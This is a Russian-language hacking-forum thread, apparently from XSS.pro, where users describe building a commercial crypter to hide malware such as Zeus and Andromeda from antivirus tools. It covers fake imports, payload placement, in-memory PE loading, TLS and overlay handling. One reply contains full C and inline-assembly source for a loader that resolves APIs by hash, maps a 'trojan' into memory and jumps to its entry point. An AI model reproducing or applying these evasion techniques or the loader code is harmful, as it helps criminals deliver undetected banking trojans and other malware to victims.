• XSS.stack #1 – первый литературный журнал от юзеров форума

Криптор. Методика выживания

MrLoki

RAID-массив
Пользователь
Регистрация
02.06.2013
Сообщения
54
Реакции
19
Первая статья в жизни, просьба сильно не пинать.

Итак начнем.
Не знаю как другие, а я начал свое знакомство с ассемблером с написания своего криптора.
Почему именно криптор? Сначала было интересно изучать ассмемблер (в универе его не дали), хотелось понять, смогу ли я сделать что-то подобное. Хотелось видеть
как код реально исполняется на железе (реальные кодеры меня поймут).
Потом я понял, что на этом можно делать неплохие деньги, и при этом не горбатится на чужого дядю, опять же свой график, работа дома и еще куча плюшек.
Первое время было легко, крипт шел на ура, чистка раз в неделю максимум, то есть все довольны.
Потом понеслось-поехало, что ни день так детект от 1-2 ав (обычно нод + бит, сейчас еще и аваст со своей сетью).
Технику поиска детекта оставим на потом. Сейчас нам интересен другой вопрос: "Как облегчить чистку?"
У меня обычно уходит на читску минут 10-15, иногда приходится делать ее 2 раза в день (связано с невозможностью полностью мутировать код антиэмуля).

Итак какие шаги нам предпринять чтобы максимально повысить отдачу от своего криптора.
После многочисленных проб, я понял, что необходимо маскироваться под реальные компиляторы, то есть структура выходного файла должна строго
соответствовать реальным файлам. Мы берем файл от кого-либо компилятора и смотрим как он устроен, импорт, рич, версия линкера, расположение и порядок секций
и еще много чего. Естественно энтропия и ресурсы. Мы делаем так что задектить файл без кучи ложных детктов очень сложно (но можно). Еще одна хитрость в том, что
мы специально оставляем место в декрипторе, которое будут детектить (чтобы легче было чистить, и чтобы ав сильно не ковырялись в файле), у меня это вызов антиэмулятора.
Вот когда я избрал такой подход, чистить стало легче, стало видно на какие параметры ав смотрят особо. Иногда бывает достаточно добавить\изменить пару байт
(речь не о устранении сигнатуры, а о приближении выходного файла, по параметрам, к реальным файлам).
Есть у меня в крипторе даже возможность сделать выходной файл под разные компиляторы (правда сейчас использую гибрид компиляторов).

Разберем параметры, которым ав уделяют особое внимание.

Одним из основных критириев нормального файла является его импорт. Тут 3 основных вопроса:

1. Какие функции можно использовать?

Берете любое стандартое win приложение и выдираете импорт оттуда.
Мой софт как раз так и делает (для того чтобы выходные файлы разнились, достаточно случайным образом удалять несколько функций из полученных), обычно я использую импорт калькулятора.


2. Как корректно вызвать функции?

Функции должны реально вызываться, или нужно сделать так чтобы ав в это поверили. Ибо неиспользуемый импорт это детект.
Начнем с параметров передаваемых функции, я генерю код который их передает (сами параметры случайны), используются все возможные варианты
передачи параметров в стек (с учетом того, какие варианты используются чаще в реальных программах).
Теперь поговорим о вызове, раньше я делал реальные вызовы обернутые в SEH, запихал все функции, которые нашел в заголовочных файлах masm32.
Это давало кучу детектов и нестабильное поведение выходного файла (ведь параметры то случайные, некоторые функции портили стек и программа вылетала),
и время исполнения вырастало и отлаживать файлы
было нереально под защитой (допустим выходной файл падает, нужно найти это место). Такая схема устраивала меня лишь сначала.
Потом я написал код, который выдирает импорт из PE файлов, детекты ушли, но нужно было улучшить стабильность.
Я подумал, а почему бы не тупо не проскакивать вызовы функций? Добавил в генератор импорта безусловный переход, который стоял перед фейковой функцией,
и стабильность стала 100%. Однако такая схема долго не протянула, так так без всякого эмулятора, ав видели что импорт фейковый, то есть функуии реально не вызываются
(случайные параметры
передаваемые в функцию тоже детект дают). После небольших раздумий мне стало ясно, нужно сделать так чтобы без эмуляции кода не было понятно,
вызывается функция или нет. Это я сделал довольно легко, достаточно было изменить переход на условный, в качетсве условия сравнения какой либо переменной
из секции данных. Все законно, все как у реальных файлов, а функции то не вызываются.
Еще были проблемы с базонезависимым кодом, наш код должен работать по любому загруженному адресу, это накладывает некоторые ограничения на код.
Так же хочу отметить, Avira не видит вызовы функций при косвенной адресации (или детектит), только прямые вызовы.

3. Количество вызовов функций?

У меня функции вызвываются как можно чаще, через каждую строку полезного кода. Это дает нескольких преимушеств: размытие кода декриптора для выявления
сигнатур, усложняет реверс программы, делает код похожим на реальный (так как выходной файл больше файла декриптора, соответсвенно и функций он должен
вызвать и больше и чаще), скрываются реальные вызовы функции (точнее затрудняется их поиск).
 
спасибо за статью, довольно интересно

маскироваться под реальные компиляторы

не проще ли тогда уж генерить код на C (допустим), а потом уже компилировать нормальным компилятором?
 
У меня код на ассме, компилирую я его лишь один раз (сам стаб). Есть еще сам криптор в виде либы. Так что компилировать нормальным компилятором не получится)

Если еще кого-нить заинтересуют статьи такого плана, напишу продолжение.
 
да интересно, например:

1. где лучше прятать шифрованный код? в ресурсах, в .text, в оверлее, в секции данных?

2. методы загрузки оригинального PE, как правильно обрабатывать .tls? что делать если нет релоков (не дампить же на диск и запускать через CreateProcess <_< )?

3. вопрос связанный с 2 - что с проактивками? сигнатурно то понятно что криптор не спалится но вот загрузка оригинального PE должна быть сделана так, чтобы не вызывать подозрение проактивок

4. всякие особенности крипта разного софта: в чем особенность крипта андромеды, зевса, карберпа и т.д.? (иногда смотрю в обзорах - там под андромеду отдельно стаб делали и т.д.)

5. экономика, заработок, конкуренция, советы новичкам и т.д. B)

:)
 
Рассмотрим следующий немаловажный вопрос - расположение полезной нагрузки.
Самый простой и надежный вариант, на мой взгляд, расположить наши данные в коде.
Почему? Просто если мы разместим данные в другой секции, она будет непропорционально большой по отношению к сеции кода. АВ очень не любят, когда какая-либо секция больше секции кода. Более того, у них есть критерии для определения соотношений размеров всех секции, если эти соотношения не выполняются, то это флаг для детекта, а иногда и 100% детект.
Данные перед размещением следует зашифровать, выровнять энтропию. Далее разбить на блоки и поместить внутри кода. Это опять же дает размытие сигнатур декриптора и затрудняет анализ кода.
 
Перейдем к методике загрузки защищаемого файла. Мы просто копируем работу системного загрузчика, описание его работы найти несложно.
Вкратце можно описать следующие шаги загрузки (после антиэмулятора, он отрабатывает первым)
1)выделяем память и копируем туда наше приложение (так как нужно освободить память под защищаемое приложение)
2)переходим в нужное место скопированного кода (наш код базонезависимый)
3)выделяем память и расшифровываем туда защищаемое приложение
4)обнуляем первоначальный участок памяти (обязательно)
5)загружаем секции по нужным адресам
6)обрабатываем импорт
7)обрабатываем TLS
8)обрабатываем релоки
9)освобождаем все ненужную память
10)переходим на EP защищаемого файла

Дампить файл нельзя ни в коем случае, это 100% детект.
 
2. Как корректно вызвать функции?
Отсортируй список API из XP, Vista, win7, win8.
Далее надо провести тесты на разных системах: вызов функции с произвольными параметрами и отслеживание
исключения(через SEH/VEH механизмы).
Таким макаром останутся только стойкие API, кот. можно безопасно вызывать в коде.

1. где лучше прятать шифрованный код? в ресурсах, в .text, в оверлее, в секции данных?
http://xss.pro/index.php?topic=23817
Вкратце: сам исполняемый код формирует в процессе исполнения данные.

не проще ли тогда уж генерить код на C (допустим), а потом уже компилировать нормальным компилятором?
Генерация мусорного кода:
http://xss.pro/index.php?topic=22287

2. методы загрузки оригинального PE, как правильно обрабатывать .tls? что делать если нет релоков (не дампить же на диск и запускать через CreateProcess  )?
http://xss.pro/index.php?topic=23821

Код:
#include <windows.h>
#include <winnt.h>
#include <stdio.h>

///////////////////////////////////
#define k_LoadLibrary (*(HMODULE(WINAPI *)(LPSTR)) ptrLoadLibrary)
#define k_GetProcAddress (*(DWORD(WINAPI *)(HMODULE,LPSTR)) ptrGetProcAddress)
#define k_UnmapViewOfFile (*(DWORD(WINAPI *)( PVOID )) ptrUnmapViewOfFile)
#define k_VirtualFree (*(DWORD(WINAPI *)( PVOID, int, int )) ptrVirtualFree)
#define k_VirtualAlloc (*(DWORD(WINAPI *)( PVOID, int, int, int )) ptrVirtualAlloc)
#define k_memset (*(VOID(WINAPI *)( void *, int, size_t )) ptrMemset)
#define k_memcpy (*(VOID*(WINAPI *)( void *, const void *, size_t )) ptrMemcpy)

#define RVATOVA( offset ) ( ( ( DWORD ) ( buf_IMAGE_OPTIONAL_HEADER -> ImageBase ) + ( DWORD ) ( offset ) ) ) 

typedef struct _PEB {
DWORD smth[2];
PVOID ImageBaseAddress;
} PEB, *PPEB;

typedef struct _TEB {
DWORD smth[12];
PPEB Peb;
} TEB, *PTEB;


LPVOID GetProcAddress_(DWORD dwModule, DWORD dwProcNameHash);

/////////////////////////////////////////////////////////////////////////////////////
// Функция загрузки троя
void loader( PBYTE buf, int bufLen )
{
/////////////////////////////////////////////////////////////////////////////////////
// Получаем PE-заголовок троя
IMAGE_NT_HEADERS *buf_IMAGE_NT_HEADERS = ( IMAGE_NT_HEADERS * ) ( buf + (( IMAGE_DOS_HEADER * ) buf ) -> e_lfanew );
PIMAGE_FILE_HEADER buf_IMAGE_FILE_HEADER = ( PIMAGE_FILE_HEADER ) ( ( PBYTE ) buf_IMAGE_NT_HEADERS + sizeof( IMAGE_NT_SIGNATURE ) );
PIMAGE_OPTIONAL_HEADER buf_IMAGE_OPTIONAL_HEADER = ( PIMAGE_OPTIONAL_HEADER ) ( ( PBYTE ) buf_IMAGE_FILE_HEADER + sizeof( IMAGE_FILE_HEADER ) );
PIMAGE_SECTION_HEADER buf_IMAGE_SECTION_HEADER = ( PIMAGE_SECTION_HEADER ) ( ( PBYTE ) buf_IMAGE_OPTIONAL_HEADER + sizeof( IMAGE_OPTIONAL_HEADER ) );

/////////////////////////////////////////////////////////////////////////////////////
// Получаем API троя
FARPROC ptrUnmapViewOfFile = (int (__stdcall *)(void))GetProcAddress_(1, 0x391AB6AF);
FARPROC ptrVirtualFree = (int (__stdcall *)(void))GetProcAddress_(1, 0xCD53F5DD);
FARPROC ptrVirtualAlloc = (int (__stdcall *)(void))GetProcAddress_(1, 0x9CE0D4A);
FARPROC ptrLoadLibrary = (int (__stdcall *)(void))GetProcAddress_(1, 0x3FC1BD8D);
FARPROC ptrGetProcAddress = (int (__stdcall *)(void))GetProcAddress_(1, 0xC97C1FFF);
FARPROC ptrMemset = (int (__stdcall *)(void))GetProcAddress_(2, 0x8463960A);
FARPROC ptrMemcpy = (int (__stdcall *)(void))GetProcAddress_(2, 0xD141AFD3);

/////////////////////////////////////////////////////////////////////////////////////
// Разрешаем запись в память по адресу ImageBase
DWORD pageSize = 0x00010000; // размер страницы 64Кб
for ( DWORD pageAddr = 0; pageAddr < buf_IMAGE_OPTIONAL_HEADER -> SizeOfImage; pageAddr = pageAddr + pageSize )
{
k_UnmapViewOfFile( ( LPVOID ) RVATOVA( pageAddr ) );
k_VirtualFree( ( LPVOID ) RVATOVA( pageAddr ), 0, MEM_RELEASE );
k_VirtualAlloc( ( LPVOID ) RVATOVA( pageAddr ), pageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE );
k_memset( ( LPVOID ) RVATOVA( pageAddr ), 0, pageSize );
}

/////////////////////////////////////////////////////////////////////////////////////
// Размещаем PE-заголовок троя
k_memcpy( (PVOID) buf_IMAGE_OPTIONAL_HEADER -> ImageBase, buf, buf_IMAGE_OPTIONAL_HEADER -> SizeOfHeaders );

/////////////////////////////////////////////////////////////////////////////////////
// Размещаем секции троя
for ( DWORD k = 0; k < buf_IMAGE_FILE_HEADER -> NumberOfSections; k++, buf_IMAGE_SECTION_HEADER++ )
k_memcpy( (PVOID) RVATOVA( buf_IMAGE_SECTION_HEADER -> VirtualAddress ), 
  buf + buf_IMAGE_SECTION_HEADER -> PointerToRawData,     
  min ( buf_IMAGE_SECTION_HEADER -> Misc.VirtualSize, buf_IMAGE_SECTION_HEADER -> SizeOfRawData ) );

/////////////////////////////////////////////////////////////////////////////////////
// Освобождаем буфер троя
k_VirtualFree( buf, bufLen, MEM_RELEASE );

/////////////////////////////////////////////////////////////////////////////////////
// Правим импорт
IMAGE_IMPORT_DESCRIPTOR *importDesc = ( PIMAGE_IMPORT_DESCRIPTOR ) RVATOVA( buf_IMAGE_OPTIONAL_HEADER -> DataDirectory[1].VirtualAddress );

  for(; importDesc->Characteristics; importDesc++ )
  {
      HMODULE hDll = k_LoadLibrary( ( LPTSTR ) RVATOVA( importDesc->Name ) );

      DWORD RvaOfThunks = importDesc->FirstThunk;

      if( importDesc->TimeDateStamp == -1 )
      {
          PDWORD Func;
 
          PIMAGE_THUNK_DATA OriginalThunk = ( PIMAGE_THUNK_DATA ) RVATOVA( importDesc->OriginalFirstThunk );
          PIMAGE_THUNK_DATA Thunk = ( PIMAGE_THUNK_DATA ) RVATOVA( importDesc->FirstThunk );
 
          if( OriginalThunk->u1.Ordinal & 0xf0000000 )
          {
              OriginalThunk->u1.Ordinal &= 0xffff;
              Func = ( PDWORD ) k_GetProcAddress( hDll, ( char* ) OriginalThunk->u1.Ordinal );
          }
          else
          {
              PIMAGE_IMPORT_BY_NAME Name = ( PIMAGE_IMPORT_BY_NAME ) RVATOVA( OriginalThunk->u1.AddressOfData );
              Func = ( PDWORD ) k_GetProcAddress( hDll, ( char* ) Name->Name );
          }
 
          if( Thunk->u1.Function == Func )
          {
              continue;
          }
          else
          {
              RvaOfThunks = importDesc -> OriginalFirstThunk;
          }
      }

      for( PIMAGE_THUNK_DATA Thunk = ( PIMAGE_THUNK_DATA ) RVATOVA( RvaOfThunks ); Thunk->u1.Ordinal; Thunk++ )
      {
          if( Thunk->u1.Ordinal & 0xf0000000 )
          {
              Thunk->u1.Ordinal &= 0xffff;
              Thunk->u1.Function = ( PDWORD ) k_GetProcAddress( hDll, ( char* ) Thunk -> u1.Ordinal );    
          }
          else
          {
              PIMAGE_IMPORT_BY_NAME Name = ( PIMAGE_IMPORT_BY_NAME ) RVATOVA( Thunk->u1.AddressOfData );
              Thunk->u1.Function = ( PDWORD ) k_GetProcAddress( hDll, ( char* ) Name->Name );
          }
 
          PIMAGE_THUNK_DATA ThunkToWrite;
          ThunkToWrite = ( PIMAGE_THUNK_DATA )( ( DWORD ) RVATOVA( importDesc->FirstThunk ) + ( ( DWORD ) Thunk - ( DWORD ) RVATOVA ( RvaOfThunks ) ) );
          ThunkToWrite->u1.Function = Thunk->u1.Function;
      }
  }

/////////////////////////////////////////////////////////////////////////////////////
// Правим PEB для работы с ресурсами
TEB* teb;
__asm
{
mov eax, dword ptr fs:[18h]
mov teb, eax
}
  PPEB peb = teb->Peb;
  peb->ImageBaseAddress = (PVOID) buf_IMAGE_OPTIONAL_HEADER -> ImageBase;

/////////////////////////////////////////////////////////////////////////////////////
// TLS
DWORD addrTLS = RVATOVA( buf_IMAGE_OPTIONAL_HEADER -> DataDirectory[9].VirtualAddress );

_asm
{
mov eax, addrTLS
mov dword ptr fs:[2Ch], eax
}

/////////////////////////////////////////////////////////////////////////////////////
// Прыгаем на точку входа троя
DWORD EntryPoint = RVATOVA( buf_IMAGE_OPTIONAL_HEADER->AddressOfEntryPoint );
_asm jmp EntryPoint
}


unsigned __int32 GetCrc32(char *data)
{
   unsigned __int32 r = 0xFFFFFFFFUL;
int i, b;

   i = 0;
   while(data[i] != 0)
   {
       r ^= data[i];
       for (b = 0; b < 8; ++b)
       {
           if ((unsigned __int8) r & 1)
               r = (r >> 1) ^ 0xEDB88320UL;
           else
               r >>= 1;
       }
       i++;
   }

return r ^ 0xFFFFFFFFUL;
}

HMODULE GetKernel32()
{
__asm 
{
         xor ecx, ecx
      ;Supports 2k/xp/Vista/7
  mov esi,dword ptr fs:[30h]
  mov esi,[esi + 0Ch]
  mov esi,[esi + 1ch]
     next_module:
  mov eax,[esi + 8h]
  mov edi,[esi + 20h]
  mov esi,[esi]
  cmp word ptr [edi+12*2], cx
  jnz next_module
}
}

HMODULE GetNtdll(void)
{
__asm 
{
       mov eax,dword ptr fs:[30h]
       mov eax,dword ptr [eax+0ch]
       mov esi,dword ptr [eax+0ch]
       lodsd
       mov eax,dword ptr [eax+018h]
}
}


LPVOID GetProcAddress_(DWORD dwModule, DWORD dwProcNameHash)
{
 HMODULE hModule;
 DWORD x;

 switch (dwModule)
 {
 case 1: 
   hModule = GetKernel32();
   break;

 case 2:
   hModule = GetNtdll();
  break;

 default:
   return 0;
 }

 PIMAGE_EXPORT_DIRECTORY lExport = (PIMAGE_EXPORT_DIRECTORY)((DWORD)hModule + ((PIMAGE_NT_HEADERS)((DWORD)hModule + ((PIMAGE_DOS_HEADER)hModule)->e_lfanew))->OptionalHeader.DataDirectory[0].VirtualAddress);

 DWORD *Names = (DWORD*)((DWORD)hModule + lExport->AddressOfNames);
 WORD *Ordinals = (WORD*)((DWORD)hModule + lExport->AddressOfNameOrdinals);
 DWORD *Functions = (DWORD*)((DWORD)hModule + lExport->AddressOfFunctions);

 x = lExport->NumberOfNames;

 for (x = 0; x < lExport->NumberOfNames; x++)
 {
   if (GetCrc32((char*)(Names[x] + (DWORD)hModule)) == dwProcNameHash)
   {
     return (LPVOID)(Functions[Ordinals[x]] + (DWORD)hModule);
   }
 }
 return NULL;
}

void marker_loader( )
{
}


int main(int argc, char* argv[])
{
DWORD loaderLength =( DWORD ) ( (BYTE*) marker_loader - (BYTE*) loader );
FILE *f = fopen( "loader.bin", "wb" );
fwrite( loader, loaderLength, 1, f );
fclose( f );
return 0;
}

[mod][TrueMind:] автор кода left4dead настаивал на том, чтобы хайд на его кодесах был не менее 100 сообщений[/mod]
 
mrLoki в принципе тема интересная, о которой можно писать и писать, при этом всего никогда не охватишь. Я предлогаю вам собрать сколько средний пост, оформить его и перепостить.

К интересным вопросам относится обработка тлс в файле. Выходит нам нужно внедрять пустую заглушку в уже криптованный ехе файл, чтобы сис загрузчик инициализировал механизм загрузки тлс? Могли бы рассказать об этом...
 
Немного позже сделаю про TLS подробнее. Также про overlay напишу, это будет полезно при крипте зевса и его модах.
Chococream я пишу лишь про то что сам использовал. Это мое личное мнение, я его никому не навязываю.

Отсортируй список API из XP, Vista, win7, win8.Далее надо провести тесты на разных системах: вызов функции с произвольными параметрами и отслеживаниеисключения(через SEH/VEH механизмы).Таким макаром останутся только стойкие API, кот. можно безопасно вызывать в коде.Отсортируй список API из XP, Vista, win7, win8.Далее надо провести тесты на разных системах: вызов функции с произвольными параметрами и отслеживаниеисключения(через SEH/VEH механизмы).Таким макаром останутся только стойкие API, кот. можно безопасно вызывать в коде.

Это может датс лишние детекты, по крайне мере у меня так было, всякие панды и авиры начинают вопить)

Генерация мусорного кода:
http://xss.pro/index.php?topic=22287

Мусор это тоже палево. Вот хороший антимуль размыть это круто.

Chococream, речь идет о маскировке, то есть ничего такого, чего нет в легитимном файле (по возможности)
 
Обработка TLS.
Освежим в памяти структуру этой каталога:
StartAddressOfRawData
EndAddressOfRawData
AddressOfIndex
AddressOfCallbacks
SizeOfZeroFill
Characteristics

Нам интересны первые три поля. Первые два указывают на сами данные - это статические и глобальные переменные, которые необходимо сделать уникальными для каждого потока в текущем процессе. Создаем секцию .tls для данных размера EndAddressOfRawData - StartAddressOfRawData, чтобы загрузчик выделил необходимую память для их размещения. Сами данные не копируем (обычно эти переменные равны нулю), так как это может послужить сигнатурой для детекта. Третье поле AddressOfIndex - это адрес, куда загрузчик запишет индекс блока данных потока, создаваемого при запуске программы, этот индекс, соответсвенно будет равен нулю. В это поле необходимо поместить адрес из секции данных.
После загрузки защищаемого файла, мы находим его секцию TLS. Первым делом нужно найти указатель на блок данных, чтобы скопировать реальные данные. Указатель на массив адресов (адресов блоков данных) можно получить из структуры TIB, адрес TIB находится в сегментном регистре FS. Сам указатель на массив адресов находится по смещению 2ch, то есть нам нужно выполнить следующий код:

mov edi, dword ptr FS:[2ch]
mov edi, dword prt [edi + Index * 4], но помня, что индекс первого потока равен нулю, получаем:

mov edi, dword ptr FS:[2ch]
mov edi, dword prt [edi]


После копирования данных необходимо проверить наличие функций обратного вызова (TLS callbacks). Функция обратного вызова имеет тот же прототип что и DllMain:
typedef VOID (NTAPI *PIMAGE_TLS_CALLBACK) (
PVOID DllHandle, // дескриптор модуля
DWORD Reason, // причина вызова
PVOID Reserved // зарезервировано
);

При вызове функции обратного вызова необходимо передать параметр Reason равным DLL_PROCESS_ATTACH. На это обработака TLS заканчивается.
 
Обработка оверлея.

Думаю все знают что такое оверлей и для чего он используется. Для тех кто не помнит, или подзабыл. Overlay (оверлей) — метод программирования, позволяющий создавать программы, занимающие больше памяти, чем установлено в системе. Грубо говоря во время выполнения программы подгружаются необходимые участки кода (подпрограммы).
Для чего оверлей используется сейчас, это отдельный вопрос, нас интересует корректная обработка оверлея закриптованной программы.
Почему оверлей необходимо обрабатывать? Дело в том, что закриптованная программа не знает, где теперь расположены необходимые ей участки кода, так как сама она расположена внутри тела декриптора, и скорее всего зашифрована. И, соответственно, загрузив совсем не то что нужно, не может продолжать работу и аварийно завершается.

Как работает оверлей? Программа считывает саму себя с диска и копирует необходимый ей участок кода, то есть нам необходимо перехватить всего 2 функции вызываемые закриптованной программой - CreateFile и ReadFile.

Самый простой вариант это создать 2 подпрограммы заглушки в декрипторе. Первая будет выполнять роль CreateFile, вторая - ReadFile. Далее, на этапе обработки импорта закриптованной программы, мы заменяем вызовы этих функций в IAT - CreateFile и ReadFile, на свои подпрограммы заглушки.
Заглушка CreateFile при вызове проверяет, какой файл пытаются открыть. Если пытаются открыть наш закриптованный файл, то мы выполняем CreateFile и запоминаем хэндл открытого файла, в противном случае просто выполняем CreateFile.
Заглушка ReadFile при вызове сверяет переданный на чтение хэндл файла с целевым хэндлом (тем, котрый ранее был сохранен в подпрограмме заглушке CreateFile). Если эти хэндлы совпадают, то налицо попытка считать закриптованный файл. В этом случае мы копируем в указанный регион памяти раскриптованную программу, в противном случае просто выполняем ReadFile с переданными параметрами.
Конечно, есть некоторые нюансы, но в самом простом варианте все выглядим именно так.
 
А если программа пользуется апишками, которые сама находит путем скана kernel32 и пользует функции мимо IAT?
Непонятно зачем нужна работа через заглушки в конечном итоге. Чтобы скрыть оверлей? Или чтобы уйти от детекта по оверлею?
 
по идее можно вырезать оверлей.
а дальше промапить после рапаковки

очень часто в оверлее содержится бесполезная информация в виде отладочной инфы. можно удалить оверлей, после проверки обращения внутри тела к rva адресам оверлея
 
Оверлей на то и оверлей потому что в память не мапится. Только чтением файла можно доступ к этим данным получить. И в оверлей "некоторые" программы пишут свой конфиг, за что их "некоторые" антивирусы детектят.
 
SpeedLock
Я не автор, но можно и EAT похучить, если уж сплайс ненравится. Понятно, что всегда будет не совместимый софт, который будет или проверять хуки или вызывать через int2e сервисы, но всегда можно что-то придумать и обновить криптор для конкретного софта. Или софт для конкретного криптора. Оверлей то нужно скрывать.
 
Тут идет речь о самом простом способе обработки оверлея. В случае отсутствия IAT в криптуемом файле, конечно, придется повозится. Но опять же все сводится к перехвату целевых функций. Представленный способ позволяет обойтись минимумом кода, меньше код - меньше возможности для детекта. Если у вас есть более простой или удобный способ, расскажите нам. Я пишу лишь о том, что получил в результате собственных размышлений и экспериментов.
Непонятно зачем нужна работа через заглушки в конечном итоге. Чтобы скрыть оверлей? Или чтобы уйти от детекта по оверлею?
А как вы передадите программе необходимые данные из оверлея?
 
Данные программа сама возьмет ;) Все эти танцы с бубнами вокруг заглушек с нестабильным результатом нужны только в случае если нужно избавиться от оверлея. Но чтобы уйти от детекта по оверлею избавляться от оверлея совсем не обязательно, имхо, проверенное на практике.
 
Данные программа сама возьмет
Откуда программа их возьмет? Она зашифрована в теле декриптора.

вокруг заглушек с нестабильным результатом
А вы сами пробовали такой вариант? Или это просто ваши мысли?

избавляться от оверлея совсем не обязательно
У меня нет ни слова об удалении оверлея. Читайте внимательнее, речь идет об подмене результата выполнения функции.
 
1. Возьмет из своего файла. Зевс, Айс, Цита прекрасно находят свой оверлей в криптованном файле.
2. Нет не пробовал по причине того что ушел от детекта более простым путем без шифрования(избавления от) оверлея.
3. Читайте внимательнее вопросы адресованные к вам на которые вы ответили вопросами. А ведь вопросы не просто так задаются. Если избавиться от оверлея нужно тогда да, другого пути, кроме предложенного вами нет. Если уйти от детекта, а иначе зачем его криптовать\подменять, то все решается элементарным способом без всех этих перехватов\заглушек.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх